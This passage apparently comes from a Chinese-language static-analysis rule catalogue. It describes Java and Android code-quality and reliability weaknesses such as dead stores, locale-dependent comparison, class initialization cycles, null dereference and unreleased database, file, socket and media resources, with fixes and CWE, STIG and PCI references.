[2] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3050 CAT II
[3] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3050 CAT II
[4] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3050 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3050 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3050 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3050 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3050 CAT II
Poor Style: Value Never Read
ABSTRACT
变量赋值后并不使用,而变成一个死存储。
EXPLANATION
没有使用该变量的值。赋值之后,变量或者被重新赋值,或者超出范围之外。
示例:以下摘录的代码为变量 r 赋值,并在没有使用所赋数值的情况下,对其加以重写。
1 | r = getName(); |
RECOMMENDATIONS
为了使代码易于理解和维护,删除不必要的赋值。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 563
[2] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3050 CAT II
[3] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3050 CAT II
[4] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3050 CAT II
[5] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3050 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3050 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3050 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3050 CAT II
Portability Flaw: File Separator
ABSTRACT
使用硬编码文件分隔符会导致可移植性问题。
EXPLANATION
不同的操作系统使用不同的字符作为文件分隔符。例如,Microsoft Windows 系统使用“\”,而 UNIX 系统则使用“/”。应用程序需要在不同的平台上运行时,使用硬编码文件分隔符会导致应用程序逻辑执行错误,并有可能导致 denial of service。
例 1:以下代码使用硬编码文件分隔符来打开文件:
1 | ... |
RECOMMENDATIONS
为编写可移植代码,不应使用硬编码文件分隔符,而应使用语言库提供的独立于平台的 API。
例 2:下列代码执行与例 1 相同的功能,但使用独立于平台的 API 来指定文件分隔符:
1 | ... |
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 474
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[6] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II
Portability Flaw: Locale Dependent Comparison
ABSTRACT
在未指定区域设置时,可能会发现意外的可移植性问题。
EXPLANATION
对可能与区域设置相关的数据进行比较时,应指定相应的区域设置。
示例 1:以下示例尝试执行验证,以确定用户输入是否包含 <script>
标签。
1 | ... |
关于上述代码的问题是:在使用不带区域设置的 java.lang.String.toUpperCase() 时,其将使用默认的区域设置规则。使用土耳其区域设置 “title”.toUpperCase() 时将返回 “T\u0130TLE”,其中 “\u0130” 是 “LATIN CAPITAL LETTER I WITH DOT ABOVE” 字符。这会导致生成意外结果,例如,在示例 1 中,会导致此验证无法捕获 “script” 一词,从而可能造成跨站脚本攻击漏洞。
RECOMMENDATIONS
为了防止出现此问题,请始终确保指定默认区域设置,或者指定可以接受这些字符(如 toUpperCase())并带有 API 的区域设置。
示例 2:以下示例通过手动方式将区域设置指定为 toUpperCase() 的参数。
1 | import java.util.Locale; |
示例 3:以下示例使用了函数 java.lang.String.equalsIgnoreCase() API 以防止出现此问题。
1 | ... |
因为 equalsIgnoreCase() 会更改与 Character.toLowerCase() 和 Character.toUpperCase() 类似的内容,所以可以防止此问题。这涉及到使用来自 UnicodeData 文件(由 Unicode 联盟维护的 Unicode 字符数据库的一部分)的信息创建这两种字符串的临时标准格式。即使这可能会导致这些字符在被读取时以不可读的方式呈现出来,但却能够在独立于区域设置的情况下进行比较。
REFERENCES
[1] STR02-J. Specify an appropriate locale when comparing locale-dependent data CERT
[2] String (JavaDoc) Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 474
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[7] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002520 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002520 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002520 CAT II
Portability Flaw: Native SQL
ABSTRACT
使用 Native SQL 会导致可移植性问题。
EXPLANATION
最初设计时,SAP 系统是独立于平台的。Open SQL(SAP 的可移植 SQL 语言)使应用程序可独立于特定数据库供应商的 JDBC 驱动程序。使用 Open SQL 可抽象化处理底层数据库的各种繁杂项,为所有数据库操作提供应用程序的通用接口。但是,Native SQL 特定于底层数据库,因此在其他平台上使用时可能会导致应用程序逻辑执行错误和拒绝服务。
示例 1:以下代码使用 Native SQL:
1 | ... |
RECOMMENDATIONS
为编写可移植代码,不应使用 Native SQL,而应使用独立于平台的 Open SQL。 示例 2:以下代码实现的功能与示例 1 相同,不过采用的是 Open SQL:
1 | ... |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 474
Race Condition: Class Initialization Cycle
ABSTRACT
为新对象分配静态字段会调用构造函数,即使其依赖于其他变量初始化也是如此,这会导致为对象错误地执行初始化。
EXPLANATION
在对 Java 类执行初始化后,会先为类中声明的静态字段调用初始值设定项,然后再调用类的构造函数。这意味着,向其分配的构造函数会先于其他代码被调用,如果此构造函数依赖于其他要初始化的字段或变量,这可能会导致对象仅部分完成初始化,或使用错误的值为对象执行初始化。
示例 1:以下类声明了静态字段,并将其分配至新对象。
1 | ... |
在以上代码中,因为 width 等于 10,所以开发人员可能会希望 box.area 是 10 的随机整数倍。但在现实情况中,它可能始终具有硬编码值 0。首先会对已声明具有编译时常量的静态最终字段执行初始化,然后再依次执行各代码。这意味着:由于 height 并非编译时常量,因此在声明 box 后才会对其进行声明,从而造成在调用构造函数后对 height 执行初始化。
示例 2:以下类声明了互相依赖的静态字段。
1 | ... |
This example is perhaps easier to identify, but would be dependent on which class is loaded first by the JVM. In this example Foo.f could be either -1 or 0, and Bar.b could be either 0 or 1.
RECOMMENDATIONS
由于初始化循环较为复杂,因此解决该问题比较困难。此外,如果没有正确修复此问题,会导致在未来代码维护中产生回归。有时,最佳解决方法可能是重新构建某些类,以消除对静态字段的需要。
示例 3:以下代码仅通过更改指令排序即可修复示例 1 的问题。
1 | ... |
尽管问题得到了修复,但是这并不是最佳的解决方法,因为其依赖于从事相同基本代码的其他开发人员来正确地读取注释,并且没有在以下代码内插入任何其他的注释,而 box 的构造函数在未来可能需要依赖于此代码。
示例 4:以下代码提供了更好的解决方法,即修改代码。
1 | ... |
REFERENCES
[1] DCL00-J. Prevent class initialization cycles CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 362, CWE ID 367
[3] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[5] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[6] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 362
[7] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 362
[8] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3630.1 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3630.1 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3630.1 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3630.1 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3630.1 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3630.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3630.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001995 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001995 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001995 CAT II
Redundant Null Check
ABSTRACT
该程序可能会间接引用一个 null 指针,从而引起 null 指针异常。
EXPLANATION
当违反程序员的一个或多个假设时,通常会出现 null 指针异常。具体来说,如果程序明确检查过该指针为 null,但仍继续间接引用该对象,则将出现 dereference-after-check 错误。此类错误通常是由于错别字或程序员失察造成的。
大部分 null 指针问题会导致出现一般的软件可靠性问题,但如果攻击者能故意使程序间接引用 null 指针,那么攻击者可能会利用引发的异常发动 denial of service 攻击,或使应用程序泄漏调试信息,这些信息对于他们制定接下来的攻击计划是十分有价值的。
例 1:在下列代码中,程序员确认变量 foo 为 null,然后错误地进行间接引用。如果在 if 指令中检查时发现 foo 为 null,则会发生 null dereference,从而引起 null 指针异常。
1 | if (foo == null) { |
RECOMMENDATIONS
在间接引用可能为 null 值的对象之前,请务必仔细检查。如有可能,在处理资源的代码周围的包装器中纳入 null 检查,确保在所有情况下均会执行 null 检查,并最大限度地减少出错的地方。
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 476
[2] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[3] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[4] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[5] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[6] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[7] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[8] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[9] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[10] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[11] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[15] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[16] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Unreleased Resource: Android Camera
ABSTRACT
Android 活动未能在其 onPause()、onStop() 或 onDestroy() 事件处理器中释放 Camera 实例。
EXPLANATION
Android 活动分配了在 onPause()、onStop() 或 onDestroy() 回调函数中未释放的 Camera 实例。当 Android OS 需要将当前活动发送到后台或在系统资源不足时暂时中断活动时,会调用这些回调函数。如果未能正确释放 Camera 对象,该活动会阻止其他应用程序(或者同一应用程序的未来实例)访问照相机。另外,活动暂停时仍占用 Camera 实例会导致不必要的电池电量消耗,从而对用户体验造成负面影响。
示例:以下代码描述了一项 Android 活动,其中没有替代用于释放 Camera 对象的基本 onPause() 方法,也没有在关机顺序中正确释放该对象。
1 | public class UnreleasedCameraActivity extends Activity { |
RECOMMENDATIONS
如果应用程序使用照相机,则必须替代活动的 onPause() 方法,以及 onStop() 和 onDestroy() 中的至少一种方法。对于每个方法,请确保调用 Camera 对象上的 release() 以节省系统资源。释放 Camera 实例后,可通过在 onResume() 回调中重新配置和重新获取该实例来继续使用 Android 的内置照相机。
此外,在应用程序执行过程中,如果在一段时间内不使用 Camera 实例,将其释放通常不失为一个好方法。当应用程序再次需要该资源时,按上述方法重新配置和重新获取即可。
REFERENCES
[1] Camera, Android Developers
[2] FIO04-J. Release resources when they are no longer needed CERT
[3] DOS-2: Release resources in all cases Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 404, CWE ID 619
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[11] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Unreleased Resource: Android Media
ABSTRACT
Android 活动未能在其 onPause()、onStop() 或 onDestroy() 事件处理器中释放 MediaRecorder、MediaPlayer 或 AudioRecord 对象。
EXPLANATION
Android 活动分配了在 onPause()、onStop() 或 onDestroy() 回调中未释放的媒体对象。当 Android OS 需要将当前活动发送到后台或在系统资源不足时暂时中断活动时,会调用这些回调函数。由于未能正确释放媒体对象,该活动导致(其他应用程序或者同一应用程序)随后对 Android 媒体硬件的访问转而依靠软件来实现,甚至彻底失败。打开过多未释放的媒体实例可导致 Android 抛出异常,最终导致 denial of service。另外,活动暂停时仍占用媒体实例会导致不必要的电池电量消耗,从而对用户体验造成负面影响。
示例:以下代码描述了一项 Android 活动,其中没有替代用于释放媒体对象的基本 onPause() 方法,也没有在关机顺序中正确释放该对象。
1 | public class UnreleasedMediaActivity extends Activity { |
RECOMMENDATIONS
如果应用程序使用 Android 的媒体功能,则必须替代活动的 onPause() 方法,以及 onStop() 和 onDestroy() 中的至少一种方法。对于每个方法,请确保调用媒体对象上的 release() 以节省系统资源。释放媒体实例后,可通过在 onResume() 回调中重新配置和重新获取该实例来继续使用 Android 的媒体功能。
此外,在应用程序执行过程中,如果在一段时间内不使用媒体实例,将其释放通常不失为一个好方法。当应用程序再次需要该资源时,按上述方法重新配置和重新获取即可。
REFERENCES
[1] Media Player, Android Developers
[2] Audio Capture, Android Developers
[3] FIO04-J. Release resources when they are no longer needed CERT
[4] DOS-2: Release resources in all cases Oracle
[5] Standards Mapping - Common Weakness Enumeration CWE ID 404, CWE ID 619
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[7] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Unreleased Resource: Android SQLite Database
ABSTRACT
Android 活动未能在其 onPause()、onStop() 或 onDestroy() 事件处理器中释放 Android 数据库处理器。
EXPLANATION
Android 活动维护了在 onPause()、onStop() 或 onDestroy() 回调中未关闭的 Android SQLite 数据库处理器。当 Android OS 需要将当前活动发送到后台或在系统资源不足时暂时中断活动时,会调用这些回调函数。由于未能正确关闭数据库,如果活动不断重启,则可能会耗尽可用的游标。此外,根据实现方法不同,Android 操作系统也可能抛出异常 DatabaseObjectNotClosedException。如果未能捕获此异常,应用程序将会崩溃。
示例:以下代码描述了在停止时会缓存用户数据并写入磁盘的 Android 活动。请注意,该活动没有替代用于释放数据库对象的基本 onPause() 方法,也没有在关机顺序中正确释放该对象。
1 | public class MyDBHelper extends SQLiteOpenHelper { |
RECOMMENDATIONS
如果应用程序使用 SQLite 数据库,则必须替代活动的 onPause() 方法,以及 onStop() 和 onDestroy() 中的至少一种方法。对于每个方法来说,请确保调用数据库处理器或对象上的 close() 以节省系统资源。调用数据库上的 close() 后,可通过在 onResume() 回调中重新配置和重新获取该实例来继续使用 Android 的 SQLite 存储功能。
此外,在应用程序执行过程中,如果在一段时间内不使用数据库对象,将其关闭通常不失为一个好方法。当应用程序再次需要该资源时,按上述方法重新配置和重新获取即可。
REFERENCES
[1] Data Storage, Android Developers
[2] FIO04-J. Release resources when they are no longer needed CERT
[3] DOS-2: Release resources in all cases Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 404, CWE ID 619
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[6] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[11] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[12] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[22] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Unreleased Resource: Database
ABSTRACT
程序可能无法释放某个数据库资源。
EXPLANATION
资源泄露至少有两种常见的原因:
- 错误状况及其他异常情况。
- 未明确程序的哪一部份负责释放资源。
大部分 Unreleased Resource 问题只会导致一般的软件可靠性问题,但如果攻击者能够故意触发资源泄漏,该攻击者就有可能通过耗尽资源池的方式发起 denial of service 攻击。
示例:在正常条件下,以下代码会执行数据库查询指令,处理数据库返回的结果,并关闭已分配的指令对象。但如果在执行 SQL 或是处理结果时发生异常,指令对象将不会关闭。如果这种情况频繁出现,数据库将用完所有可用的指针,且不能再执行任何 SQL 查询。
1 | Statement stmt = conn.createStatement(); |
RECOMMENDATIONS
- 请不要依赖 finalize() 回收资源。为了使对象的 finalize() 方法能被调用,垃圾收集器必须确认对象符合垃圾回收的条件。但是垃圾收集器只有在 JVM 内存过小时才会使用。因此,无法保证何时能够调用该对象的 finalize() 方法。垃圾收集器最终运行时,可能出现这样的情况,即在短时间内回收大量的资源,这种情况会导致“突发”性能,并降低总体系统通过量。随着系统负载的增加,这种影响会越来越明显。
最后,如果某一资源回收操作被挂起(例如该操作需要通过网络访问数据库),那么执行 finalize() 方法的线程也将被挂起。
- 在 finally 代码段中释放资源。示例中的代码可按以下方式改写:
1 | public void execCxnSql(Connection conn) { |
以上方案使用了一个助手函数,用以记录在尝试关闭指令时可能产生的异常。该助手函数大约会在需要关闭指令时重新使用。
同样,execCxnSql 方法不会将 stmt 对象初始化为 null。而是进行检查,以确保调用 safeClose() 之前,stmt 不是 null。如果没有检查 null,Java 编译器会报告 stmt 可能没有进行初始化。编译器做出这一判断源于 Java 可以检测未初始化的变量。如果用一种更加复杂的方法将 stmt 初始化为 null,那么编译器就无法检测 stmt 未经初始化便使用的情况。
REFERENCES
[1] FIO04-J. Release resources when they are no longer needed CERT
[2] DOS-2: Release resources in all cases Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 404
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[21] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Unreleased Resource: Files
ABSTRACT
程序可能无法释放某个文件句柄。
EXPLANATION
程序可能无法释放某个文件句柄。
资源泄露至少有两种常见的原因:
- 错误状况及其他异常情况。
- 未明确程序的哪一部份负责释放资源。
大部分 Unreleased Resource 问题只会导致一般的软件可靠性问题,但如果攻击者能够故意触发资源泄漏,该攻击者就有可能通过耗尽资源池的方式发起 denial of service 攻击。
例 1:下面的方法绝不会关闭它所打开的文件句柄。ZipFile 中的 finalize() 方法最终会调用 close(),但是不能确定何时会调用 finalize() 方法。在繁忙的环境中,这会导致 JVM 用尽它所有的文件句柄。
1 | public void printZipContents(String fName) |
例 2:正常情况下,以下修复代码会在输出所有 zip 文件条目之后正常关闭文件句柄。如果迭代这些条目时出现异常,则不会关闭 zip 文件句柄。如果这种情况经常出现,JVM 就可能耗尽所有可用的文件句柄。
1 | public void printZipContents(String fName) |
RECOMMENDATIONS
- 请不要依赖 finalize() 回收资源。为了使对象的 finalize() 方法能被调用,垃圾收集器必须确认对象符合垃圾回收的条件。但是垃圾收集器只有在 JVM 内存过小时才会使用。因此,无法保证何时能够调用该对象的 finalize() 方法。垃圾收集器最终运行时,可能出现这样的情况,即在短时间内回收大量的资源,这种情况会导致“突发”性能,并降低总体系统通过量。随着系统负载的增加,这种影响会越来越明显。
最后,如果某一资源回收操作被挂起(例如该操作需要通过网络进行通信),那么执行 finalize() 方法的线程也将被挂起。
- 在 finally 代码段中释放资源。例 2 中的代码可按以下方式改写:
1 | public void printZipContents(String fName) |
以上方案使用了一个助手函数,用以记录在尝试关闭文件时可能产生的异常。该助手函数大约会在需要关闭文件时重新使用。
同样,printZipContents 方法不会将 zf 对象初始化为 null。而是进行检查,以确保调用 safeClose() 之前,zf 不是 null。如果没有检查 null,Java 编译器会报告 zf 可能没有进行初始化。编译器做出这一判断源于 Java 可以检测未初始化的变量。如果用一种更加复杂的方法将 zf 初始化为 null,那么编译器就无法检测 zf 未经初始化便使用的情况。
REFERENCES
[1] FIO04-J. Release resources when they are no longer needed CERT
[2] DOS-2: Release resources in all cases Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 404
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[21] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
[22] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
Unreleased Resource: Sockets
ABSTRACT
程序可能无法释放某个套接字。
EXPLANATION
程序可能无法释放某个套接字。
资源泄露至少有两种常见的原因:
- 错误状况及其他异常情况。
- 未明确程序的哪一部份负责释放资源。
大部分 Unreleased Resource 问题只会导致一般的软件可靠性问题,但如果攻击者能够故意触发资源泄漏,该攻击者就有可能通过耗尽资源池的方式发起 denial of service 攻击。
例 1:下面的方法绝不会关闭它所打开的套接字。在繁忙的环境中,这会导致 JVM 用尽它所有的套接字。
1 | private void echoSocket(String host, int port) throws UnknownHostException, SocketException, IOException |
例 2:正常情况下,以下修复代码会正常关闭套接字以及任何相关联的数据流。但如果在读取输入或将数据输出到屏幕时出现异常,则不会关闭套接字对象。如果这种情况经常出现,系统将会耗尽所有套接字,无法处理更多连接。
1 | private void echoSocket(String host, int port) throws UnknownHostException, SocketException, IOException |
RECOMMENDATIONS
在 finally 代码段中释放套接字资源。例 2 中的代码可按以下方式改写:
1 | private void echoSocket(String host, int port) throws UnknownHostException, SocketException, IOException |
此解决方法使用了一个助手函数,用以记录在尝试关闭套接字时可能产生的异常。该助手函数大约会在需要关闭套接字时重新使用。
另外,echoSocket() 方法不会将 sock 套接字对象初始化为 null。而是进行检查,以确保调用 safeClose() 之前,sock 不是 null。如果没有检查 null,Java 编译器会报告 sock 可能没有进行初始化。编译器做出这一判断源于 Java 可以检测未初始化的变量。如果用一种更加复杂的方法将 sock 初始化为 null,那么编译器就无法检测 sock 未经初始化便使用的情况。
REFERENCES
[1] FIO04-J. Release resources when they are no longer needed CERT
[2] DOS-2: Release resources in all cases Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 404
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1)
[5] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[10] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 404
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
